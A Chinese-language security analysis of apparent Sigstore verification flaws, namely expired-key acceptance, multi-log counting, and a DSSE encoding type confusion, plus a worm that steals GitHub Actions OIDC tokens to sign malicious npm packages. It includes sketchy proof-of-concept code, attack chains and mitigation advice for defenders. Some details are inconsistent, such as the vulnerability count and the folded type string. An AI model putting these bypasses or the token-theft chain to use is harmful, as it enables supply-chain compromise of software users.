摘要

Sigstore 以“无密钥签名”重构了软件供应链的信任模型:短期证书取代长期私钥,透明日志取代中心化 CA 审计,OIDC 身份取代静态凭证。

Sigstore短期证书与透明日志

无密钥签名

传统代码签名依赖长期私钥:开发者生成密钥对,私钥离线保存,公钥分发用于验证。这一模型的核心弱点是私钥的生命周期——一旦泄露,攻击者可以在任何时间签发任意内容,而依赖方无法区分“泄露前签发”与“泄露后签发”。

Sigstore 的解决方案是消除长期私钥。签名的瞬间,客户端生成一个临时的 ECDSA 密钥对(P-256),将公钥连同 OIDC 身份令牌发送给 Fulcio CA。Fulcio 验证 OIDC 令牌的有效性后,签发一张短期证书(通常十分钟有效期),将临时公钥绑定到 OIDC 身份。签名完成后,临时私钥被丢弃,证书在十分钟后自动失效。验证方不需要信任任何长期密钥——只需要信任 Fulcio 的根证书和 OIDC 提供者的身份声明。

这一设计的核心假设是:短期证书的时间窗口足够窄,攻击者无法在窗口内完成恶意操作。CVE-2026-54787 攻击的正是这个假设。

透明日志的分布式信任

Rekor 是 Sigstore 的透明日志服务,记录每一次签名事件。日志是 append-only 的 Merkle Tree,一旦条目被写入,就无法修改或删除。

                        [ Merkle Root (STH 中的根哈希) ]
                                      ▲
                                     / \
                                    /   \
                             [Hash_0123]   [Hash_4567]
                             /        \
                            /          \
                     [Hash_01]     * [Hash_23]  <--- 兄弟节点 (Sibling 1)
                      /     \        /     \
                     /       \      /       \
               [Hash_0]  [Hash_1] *[D_2]*  [Hash_3]

                  |         |       │         |
                 D_0       D_1    目标数据D_2  D_3

Sigstore 的安全模型建议配置多日志验证:验证方同时检查多个独立运营的透明日志,只有当至少 N 个日志都记录了该条目时,才认为签名有效。

这一设计的信任假设是:单个日志运营者被攻陷,不会影响整体安全性。攻击者需要同时攻陷 N 个日志才能绕过验证。CVE-2026-49834 攻击的正是通过让验证器错误地计数实现。

DSSE 的类型绑定保证

Sigstore 的签名对象通常采用 DSSE(Dead Simple Signing Envelope)格式。DSSE 的 Pre-Authentication Encoding 将 payloadType 和 payload 一起编码后签名,确保签名与特定的内容类型绑定。

如果攻击者能够将 payloadType 从 application/vnd.in-toto+json 改为其他值,而又不使签名失效,DSSE 的整个类型系统就崩溃了。

过期密钥签名绕过

ExpiringKey

sigstore-go 中的 ExpiringKey 类型用于封装自管理的长期密钥(即不使用 Fulcio 短期证书的场景)。它的 API 契约是明确的:NewExpiringKey 接受一个验证器和一个有效期窗口,验证器只应在该窗口内接受签名。

// ExpiringKey 的 API 契约(简化)
type ExpiringKey struct {
    verifier   signature.Verifier
    validFrom  time.Time
    validUntil time.Time
}
 
func NewExpiringKey(v signature.Verifier, from, until time.Time) *ExpiringKey {
    return &ExpiringKey{verifier: v, validFrom: from, validUntil: until}
}

验证逻辑

漏洞位于 pkg/verify/signed_entity.go 的 Verifier.Verify() 函数。对于使用 ExpiringKey 的 Bundle,验证器正确地调用了底层的签名验证,也正确地提取了 Bundle 中的签名时间戳。但它没有将签名时间戳与ExpiringKey的有效期窗口进行比较。

换言之,验证流程是:

  1. 检查 Bundle 的签名是否有效(使用 ExpiringKey 内部的公钥)。
  2. 检查 Bundle 是否在 Rekor 中有记录。
  3. 缺失:检查 Bundle 的签名时间是否落在 ExpiringKey 声明的 [validFrom, validUntil] 区间内。

Sigstore 的测试用例精确地暴露了这个问题:“On vulnerable code, the test fails because verification succeeds even though the trustedExpiringKey is not valid at the signed timestamp”。验证成功了,但被信任的密钥在签名时刻已经失效——这正是时间维度上的信任熔断。

攻击场景

攻击者曾合法持有一把自管理的签名密钥,该密钥在某个时间点过期。按照正确的安全语义,过期后该密钥签发的任何 Bundle 都不应被接受。但由于验证器不检查时间窗口,攻击者仍然可以用这把“已死”的密钥签发恶意 Bundle,而验证方会欣然接受。

因为密钥的生命周期管理依赖于过期机制,所以过期机制在验证层被静默绕过了。

构造过期签名 Bundle

// expiringkey_bypass_poc.go — 演示 ExpiringKey 时间窗口绕过
// 需要 sigstore-go < 1.2.1
package main
 
import (
    ”crypto/ecdsa”
    ”crypto/elliptic”
    ”crypto/rand”
    ”fmt”
    ”time”
 
    ”github.com/sigstore/sigstore-go/pkg/bundle”
    ”github.com/sigstore/sigstore-go/pkg/root”
    ”github.com/sigstore/sigstore-go/pkg/verify”
)
 
func main() {
    // 1. 生成一把”自管理长期密钥”
    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    pub := &priv.PublicKey
 
    // 2. 包装为 ExpiringKey:有效期设为 2025-01-01 到 2025-06-01
    expiredKey, _ := root.NewExpiringKey(
        pub,
        time.Date(2025, 1, 1, 0, 0, 0, 0, time.UTC),
        time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
    )
 
    // 3. 在 2026 年(密钥早已过期)用该密钥签名一个恶意 Bundle
    //    (实际签名逻辑省略,假设生成了一个签名时间戳为 2026 年的 Bundle)
    maliciousBundle := createBundleWithTimestamp(pub, time.Now())
 
    // 4. 用 ExpiringKey 验证
    verifier, _ := verify.NewVerifier(
        root.NewTrustedRoot(expiredKey),
        verify.WithSignedCertificateTimestamps(1),
        verify.WithTransparencyLog(1),
    )
 
    result, err := verifier.Verify(maliciousBundle, verify.NewPolicy(
        verify.WithoutIdentitiesUnsafe(),
    ))
    if err != nil {
        fmt.Println(”[-] 验证被拒绝(正确行为)”)
        return
    }
    // 在漏洞版本上,这里会打印验证成功
    fmt.Printf(”[!] 验证通过!签名时间: %v, 密钥有效期截止: 2025-06-01\n”,
        maliciousBundle.SigningTimestamp)
    fmt.Println(”[!] ExpiringKey 的时间窗口检查被绕过”)
}
 
func createBundleWithTimestamp(pub *ecdsa.PublicKey, ts time.Time) *bundle.Bundle {
    // 构造一个包含签名时间戳的 Bundle(简化)
    return &bundle.Bundle{ /* ... */ }
}

多日志阈值的语义错位

多日志

Sigstore 的多日志验证(WithTransparencyLog(N>1))是纵深防御措施。其信任假设是:透明日志的运营者是独立的,攻击者攻陷单个日志不会危及整体安全。配置 N=2 意味着验证器要求两个独立的日志权威都记录了签名事件。

计数逻辑

sigstore-go 的实现将“已验证的见证数”按**条目(entry)或验证路径(validation path)计数,而非按日志权威(log authority)**计数。

这意味着,如果攻击者攻陷了日志 A,并向日志 A 提交两个不同的条目(例如一个包含恶意签名,另一个包含一个无害但合法的签名),验证器可能会将这两个条目视为“两个独立的见证”,从而满足 N=2 的阈值要求。实际上,两个条目都来自同一个被攻陷的日志权威。

这是一种语义层面的类型混淆:验证器将“条目的多样性”误认为“权威的多样性”。N>1 在多日志策略中的含义是“至少 N 个不同日志的确认”,但实现中的计数单位是“条目”,使得单个日志可以通过提供多个条目来满足阈值。

攻击链

  1. 攻击者攻陷透明日志 A(或运营日志 A 的内部人员发起攻击)。
  2. 攻击者向日志 A 提交恶意 Bundle 的签名事件,同时提交另一个无害的、看起来合法的签名事件。
  3. 验证器配置为 WithTransparencyLog(2),它检查 Bundle 的签名是否在至少 2 个条目中被记录。
  4. 日志 A 的两个条目被计数为 2,验证通过。
  5. 验证器认为自己已经从两个独立来源获得了确认,但实际上所有确认都来自同一个被攻陷的日志。

单日志双条目绕过

// multlog_bypass_poc.go — 单日志双条目满足 N=2 阈值
package main
 
import (
    ”fmt”
    ”github.com/sigstore/sigstore-go/pkg/root”
    ”github.com/sigstore/sigstore-go/pkg/verify”
)
 
func main() {
    // 1. 构建一个”可信根”,其中只包含一个日志权威(模拟被攻陷的日志 A)
    //    但该日志权威能够为同一个 Bundle 提供多个条目
    trustedRoot := root.NewTrustedRoot(
        // 只配置一个日志权威
        root.WithTransparencyLog(”log-A”, logAPublicKey),
    )
 
    // 2. 配置验证器要求 N=2 的多日志阈值
    //    设计意图:需要来自两个不同日志的确认
    verifier, _ := verify.NewVerifier(
        trustedRoot,
        verify.WithTransparencyLog(2), // 期望:2 个不同日志
    )
 
    // 3. 构造一个 Bundle,包含来自 log-A 的两个条目
    //    在漏洞版本中,这两个条目被计数为 2,满足阈值
    maliciousBundle := createBundleWithTwoEntriesFromLogA()
 
    result, err := verifier.Verify(maliciousBundle, policy)
    if err != nil {
        fmt.Println(”[-] 验证被拒绝(正确行为:需要两个独立日志)”)
        return
    }
 
    fmt.Println(”[!] 验证通过!阈值 N=2 被单个日志的两个条目满足”)
    fmt.Println(”[!] 多日志策略的分布式信任假设已被瓦解”)
}

这样,我们就可以清楚地对比多日志阈值语义错位:

DSSE PAE 的 ASCII 编码篡改

DSSE PAE 规范

DSSE 的 Pre-Authentication Encoding 格式为:

PAE(type, body) = ”DSSEv1” + SP + LEN(type) + SP + type + SP + LEN(body) + SP + body

其中 type 是 payloadType 的字节表示。DSSE 规范要求 payloadType 使用UTF-8 编码转换为字节序列。payloadType 和 payload 被一起编码并签名,因此签名与类型绑定——攻击者无法在不使签名失效的情况下更改 payloadType。

Node.js ascii 编码

sigstore-js 的 preAuthEncoding 函数在将 PAE 字符串转换为字节时,使用了 Node.js 的 ‘ascii’ 编码,而非 ‘utf-8’。

Node.js 的 ‘ascii’ 编码与 ‘utf-8′ 在纯 ASCII 字符上表现一致,但对于非 ASCII 字符(码点 > 127),’ascii’ 编码会将其截断为低 7 位。例如,字符 \u0174(Ŵ,码点 372)在 ‘ascii’ 编码下会变成 0x74(t),因为 372 的低 7 位是 116,对应 ASCII 字符 t。

Sigstore 的 PoC 精确地展示了这一缺陷:preAuthEncoding(‘\u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e’, payload) 在 ‘ascii’ 编码下,类型字符串会被折叠为 “testing” 或其他 ASCII 等价物。

类型绑定

攻击者的利用路径如下:

  1. 找到一个 payloadType T₁(非 ASCII 字符串),其在 'ascii' 编码下产生字节序列 B。
  2. 找到另一个 payloadType T₂(纯 ASCII 字符串),其 'utf-8' 编码也产生相同的字节序列 B。
  3. 使用 T₁ 对 payload 签名。签名基于 PAE_ascii(T₁, payload)。
  4. 将 Bundle 中的 payloadType 篡改为 T₂。
  5. 验证方使用正确的 'utf-8' 编码计算 PAE_utf8(T₂, payload)。由于 'utf-8'(T₂) = B = 'ascii'(T₁),计算出的 PAE 与签名时的 PAE 完全一致,签名验证通过。

结果是:攻击者可以在签名后更改 payloadType,而签名仍然有效。DSSE 的类型绑定保证——确保签名内容被解释为预期类型——被静默破坏了。

ASCII 折叠与类型篡改

// dsse_type_confusion_poc.js — 利用 ascii 编码折叠篡改 payloadType
// 需要 @sigstore/core < 3.2.1
 
const { preAuthEncoding } = require('@sigstore/core');
 
// 1. 选择一个非 ASCII 的 payloadType,其 ascii 编码折叠为 ”testing”
//    \u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e
//    在 ascii 编码下,每个字符被截断为低 7 位,产生 ”testing” 或类似字节
const deceptiveType = '\u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e';
const payload = Buffer.from('{”action”:”malicious”}');
 
// 2. 计算 PAE(使用有缺陷的 ascii 编码)
const pae = preAuthEncoding(deceptiveType, payload);
console.log('PAE (ascii 编码):', pae.toString('hex'));
 
// 3. 攻击者用 deceptiveType 签名 payload
//    签名覆盖的 PAE 字节为 pae
 
// 4. 将 Bundle 中的 payloadType 篡改为一个 ASCII 等价物
//    (假设找到了一个 ASCII 字符串,其 utf-8 编码等于上述 ascii 编码结果)
const asciiType = 'testing'; // 示例:ascii 折叠后的等价物
const tamperedPae = preAuthEncoding(asciiType, payload);
console.log('PAE (篡改后, utf-8):', tamperedPae.toString('hex'));
 
// 5. 比较两个 PAE
if (pae.equals(tamperedPae)) {
    console.log('[!] PAE 字节完全一致');
    console.log('[!] payloadType 已被篡改,但签名仍然有效');
    console.log('[!] DSSE 的类型绑定保证被破坏');
} else {
    console.log('[-] PAE 不一致,攻击失败(可能已修复)');
}

OIDC 令牌劫持

GitHub Actions OIDC 信任模型

GitHub Actions 的 OIDC 提供者允许 CI/CD 工作负载获取短期身份令牌,而无需在仓库中存储长期密钥。当 Workflow 配置了 id-token: write 权限时,Runner 会获得一个 ACTIONS_ID_TOKEN_REQUEST_TOKEN 环境变量,用于向 GitHub 的 OIDC 端点请求令牌。令牌的生命周期通常只有几分钟,且绑定了具体的 Workflow、仓库、提交和触发者。

安全假设是:令牌是短暂的、作用域受限的,攻击者即使获得了长期凭证,也无法复用已过期的 OIDC 令牌。

Shai-Hulud攻击链

Shai-Hulud 蠕虫的攻击链精确地绕过了这一假设。它不依赖窃取长期凭证,而是在 OIDC 令牌仍然有效的窗口内,从 Runner 进程的内存中提取令牌,然后立即使用它向 Sigstore 的 Fulcio CA 申请证书。

攻击步骤如下:

  1. 读取环境变量:蠕虫读取 ACTIONS_ID_TOKEN_REQUEST_TOKEN,这是 Runner 进程用于请求 OIDC 令牌的凭证。
  2. 请求 OIDC 令牌:使用该凭证向 GitHub 的 OIDC 端点发送请求,获取一个代表当前 Job 身份的 JWT。
  3. 请求 Fulcio 证书:将 OIDC 令牌提交给 Fulcio CA,Fulcio 验证令牌后签发一张短期 X.509 证书,证书中的身份字段与 GitHub Actions Job 绑定。
  4. 签发签名与证明:使用证书对应的临时私钥对恶意 npm 包进行签名,并在 Rekor 中记录签名事件,生成 SLSA Build Level 3 的 provenance attestation。
  5. 发布:将携带合法签名和 provenance 的恶意包发布到 npm registry。

为什么 SLSA 验证无法拦截

SLSA provenance 的设计目标是回答:“这个工件是否由预期的构建系统、从预期的源代码、在无未授权影响的情况下构建?” Build Level 3 要求构建环境足够强化,使 Job 无法篡改自己的 provenance。

Shai-Hulud 的攻击绕过了这一设计假设,而非技术控制:

  • 构建系统没有攻陷。
  • OIDC 端点没有攻陷。
  • Fulcio CA 没有攻陷。

蠕虫到达 Runner 的方式是——它是一个依赖项,在管道中更早的阶段被安装。从 Sigstore 的视角看,一个合法的 GitHub Actions Runner,以合法的仓库身份,签名了一个合法的工件。证明是准确的:它证明的正是“这个 Runner 确实签发了这个包”。但它沉默的是:Runner 中运行的代码并非维护者意图运行的代码。证书验证了签名者的身份,但没有验证签名者的意图。

检测行为

工件扫描无法捕获这种攻击——attestation 是有效的,签名是有效的,包在功能上是正确的。检测必须依赖行为序列的关联:

  • 一个 CI Runner 请求 OIDC 令牌并调用 Fulcio 端点,单独来看并不异常。
  • 但一个 Runner 在同一 Job 执行中,既请求了 OIDC 令牌、调用了 Fulcio、又向不熟悉的外部主机发起了出站连接,然后紧接着发布了 npm 包——这个组合是异常的。
  • 每个动作都是合法的。组合则不是。

防御加固

立即升级

四个漏洞的修复版本已经明确:sigstore-go 升级至1.2.1(CVE-2026-54787)或1.2.0(CVE-2026-49834),sigstore-js/@sigstore/core 升级至3.2.1(CVE-2026-48758)。由于漏洞位于核心验证层,没有配置层面的缓解措施,升级是唯一的修复路径。

时间窗口的显式校验

对于使用 ExpiringKey 的自管理密钥场景,验证方应在接受 Bundle 之前显式检查签名时间戳是否落在密钥的有效期内:

func verifyWithTimeWindow(bundle *bundle.Bundle, expKey *root.ExpiringKey) error {
    // 提取 Bundle 的签名时间戳
    signTime := bundle.SigningTimestamp()
 
    // 显式检查时间窗口
    if signTime.Before(expKey.ValidFrom()) || signTime.After(expKey.ValidUntil()) {
        return fmt.Errorf(”signing timestamp %v outside key validity window”, signTime)
    }
 
    // 继续正常的签名验证
    return expKey.Verify(bundle)
}

多日志阈值修正

验证器不应再按“条目数”计数,而应按“日志权威 ID”去重后计数。每个透明日志在 Sigstore 的可信根中有一个唯一标识符(log ID),验证时应维护一个 map[logID]bool 来跟踪已经确认的日志,只有当不同 log ID 的数量达到阈值时才通过。

DSSE编码强制统一

sigstore-js 的修复将 ascii 编码替换为 utf-8。在验证侧,应确保 PAE 的计算严格遵循 DSSE 规范要求的 UTF-8 编码,拒绝任何使用非标准编码的签名。对于跨语言实现的互操作性测试,应包含非 ASCII payloadType 的用例,防止编码歧义再次出现。

OIDC 行为关联检测

针对 OIDC 令牌劫持,单一的日志审计不足以检测。需要在 CI/CD 平台层面实施跨系统行为关联:

  • 如果同一个 Runner 在短时间窗口内依次执行了“请求 OIDC 令牌 → 调用 Fulcio → 发布包 → 向未知外部主机发起连接”,触发告警。
  • 监控 Runner 进程的内存访问模式,检测对 ACTIONS_ID_TOKEN_REQUEST_TOKEN 环境变量的异常读取。
  • 在 npm registry 侧,对于携带 SLSA L3 provenance 的包,不应仅验证 attestation 的有效性,还应审计发布前的构建日志——attestation 只能证明“谁签了名”,不能证明“签名时发生了什么”。

结语

Sigstore 的四道裂缝指向同一个结构性困境:信任模型的语义保证与验证逻辑的实现细节之间存在鸿沟。ExpiringKey 的 API 契约承诺了时间窗口的约束,验证代码却没有执行这个约束;多日志阈值承诺了分布式信任,计数单位却错位成了条目数量;DSSE 承诺了类型绑定,编码层的 ASCII 折叠却允许类型在签名后静默漂移;OIDC 承诺了身份的短期性,令牌却在它仍然有效的那一刻被从内存中提取并武器化。

这些漏洞的共性是安全承诺在实现层的静默降级。每一层防御在设计文档中都是完整的,但在代码路径的某个分叉点上,语义被简化了、计数单位被误用了、编码假设被打破了。这些简化在正常路径下不会产生任何可观察的差异——签名验证通过,日志条目存在,类型看起来也对。只有当攻击者刻意构造输入利用这些时,漏洞执行才会发生。